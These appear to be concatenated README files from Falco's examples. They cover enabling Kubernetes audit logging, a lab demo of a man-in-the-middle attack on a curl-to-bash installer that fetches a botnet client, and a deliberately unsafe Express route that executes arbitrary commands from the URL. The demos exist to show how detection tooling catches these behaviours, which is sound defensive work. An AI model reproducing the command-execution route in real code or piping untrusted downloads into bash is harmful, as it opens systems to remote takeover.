A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling audit log support for the apiserver, including copying the audit policy/webhook files to the apiserver machine, modifying the apiserver command line to add `--audit-log-path`, `--audit-policy-file`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
It is run as `bash ./enable-k8s-audit.sh <variant> static`. `<variant>` can be one of the following:
* `minikube`
* `kops`
When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
Its output looks like this:
```
$ bash enable-k8s-audit.sh minikube static
***Copying apiserver config patch script to apiserver...
apiserver-config.patch.sh 100% 1190 1.2MB/s 00:00
***Copying audit policy/webhook files to apiserver...
audit-policy.yaml 100% 2519 1.2MB/s 00:00
webhook-config.yaml 100% 248 362.0KB/s 00:00
***Modifying k8s apiserver config (will result in apiserver restarting)...
***Done!
$
```
### Observe Kubernetes audit events at falco
Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
## Instructions for Kubernetes 1.13
The main steps are:
1. Deploy Falco to your Kubernetes cluster
2. Restart the API Server to enable Audit Logging
3. Deploy the AuditSink object for your audit policy and webhook configuration
4. Observe Kubernetes audit events at falco
### Deploy Falco to your Kubernetes cluster
Follow the [Kubernetes Using Daemonset](../../integrations/k8s-using-daemonset/README.md) instructions to create a Falco service account, service, configmap, and daemonset.
### Restart the API Server to enable Audit Logging
A script [enable-k8s-audit.sh](./enable-k8s-audit.sh) performs the necessary steps of enabling dynamic audit support for the apiserver by modifying the apiserver command line to add `--audit-dynamic-configuration`, `--feature-gates=DynamicAuditing=true`, etc. arguments, etc. (For minikube, ideally you'd be able to pass all these options directly on the `minikube start` command line, but manual patching is necessary. See [this issue](https://github.com/kubernetes/minikube/issues/2741) for more details.)
It is run as `bash ./enable-k8s-audit.sh <variant> dynamic`. `<variant>` can be one of the following:
* `minikube`
* `kops`
When running with `variant` equal to `kops`, you must either modify the script to specify the kops apiserver hostname or set it via the environment: `APISERVER_HOST=api.my-kops-cluster.com bash ./enable-k8s-audit.sh kops`
Its output looks like this:
```
$ bash enable-k8s-audit.sh minikube dynamic
***Copying apiserver config patch script to apiserver...
apiserver-config.patch.sh 100% 1190 1.2MB/s 00:00
***Modifying k8s apiserver config (will result in apiserver restarting)...
***Done!
$
```
### Deploy AuditSink objects
[audit-sink.yaml.in](./audit-sink.yaml.in), in this directory, is a template audit sink configuration that defines the dynamic audit policy and webhook to route Kubernetes audit events to Falco.
Run the following to fill in the template file with the `ClusterIP` IP address you created with the `falco-service` service above. Although services like `falco-service.default.svc.cluster.local` can not be resolved from the kube-apiserver container within the minikube vm (they're run as pods but not *really* a part of the cluster), the ClusterIPs associated with those services are routable.
```
FALCO_SERVICE_CLUSTERIP=$(kubectl get service falco-service -o=jsonpath={.spec.clusterIP}) envsubst < audit-sink.yaml.in > audit-sink.yaml
```
### Observe Kubernetes audit events at falco
Kubernetes audit events will then be routed to the falco daemonset within the cluster, which you can observe via `kubectl logs -f $(kubectl get pods -l app=falco-example -o jsonpath={.items[0].metadata.name})`.
## Instructions for Kubernetes 1.13 with dynamic webhook and local log file
If you want to use a mix of `AuditSink` for remote audit events as well as a local audit log file, you can run `enable-k8s-audit.sh` with the `"dynamic+log"` argument e.g. `bash ./enable-k8s-audit.sh <variant> dynamic+log`. This will enable dynamic audit logs as well as a static audit log to a local file. Its output looks like this:
```
***Copying apiserver config patch script to apiserver...
apiserver-config.patch.sh 100% 2211 662.9KB/s 00:00
***Copying audit policy file to apiserver...
audit-policy.yaml 100% 2519 847.7KB/s 00:00
***Modifying k8s apiserver config (will result in apiserver restarting)...
***Done!
```
The audit log will be available on the apiserver host at `/var/lib/k8s_audit/audit.log`.

# Demo of falco with man-in-the-middle attacks on installation scripts
For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
## Demo architecture
### Initial setup
Make sure no prior `botnet_client.py` processes are lying around.
### Start everything using docker-compose
From this directory, run the following:
```
$ docker-compose -f demo.yml up
```
This starts the following containers:
* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
* falco: will detect the activities of botnet_client.py.
### Download `install-software.sh`, see botnet client running
Run the following to fetch and execute the installation script,
which also installs the botnet client:
```
$ curl http://localhost/install-software.sh | bash
```
You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
```
$ ps auxww | grep python
...
root 19983 0.1 0.4 33992 8832 pts/1 S 13:34 0:00 python ./botnet_client.py
$ telnet localhost 1234
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```
You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
```
attacker_botnet_master | Trying to contact compromised machine...
attacker_botnet_master | Waiting for botnet command and control commands...
attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
```
At this point, kill the botnet_client.py process to clean things up.
### Run installation script again using `fbash`, note falco warnings.
If you run the installation script again:
```
curl http://localhost/install-software.sh | ./fbash
```
In the docker-compose output, you'll see the following falco warnings:
```
falco | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)

# Demo of falco with bash exec via poorly designed REST API.
## Introduction
This example shows how a server could have a poorly designed API that
allowed a client to execute arbitrary programs on the server, and how
that behavior can be detected using Sysdig Falco.
`server.js` in this directory defines the server. The poorly designed
API is this route handler:
```javascript
router.get('/exec/:cmd', function(req, res) {
var output = child_process.execSync(req.params.cmd);
res.send(output);
});
app.use('/api', router);
```
It blindly takes the url portion after `/api/exec/<cmd>` and tries to
execute it. A horrible design choice(!), but allows us to easily show
Sysdig falco's capabilities.
## Demo architecture
### Start everything using docker-compose
From this directory, run the following:
```
$ docker-compose -f demo.yml up
```
This starts the following containers:
* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
* falco: will detect when you execute a shell via the express server.
### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
```
$ curl http://localhost:8181/api/exec/ls
demo.yml
node_modules
package.json
README.md
server.js
```
```
$ curl http://localhost:8181/api/exec/pwd
.../examples/nodejs-bad-rest-api
```
### Try to run bash via `/api/exec/bash`, falco sends alert.
If you try to run bash via `/api/exec/bash`, falco will generate an alert:
```
falco | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
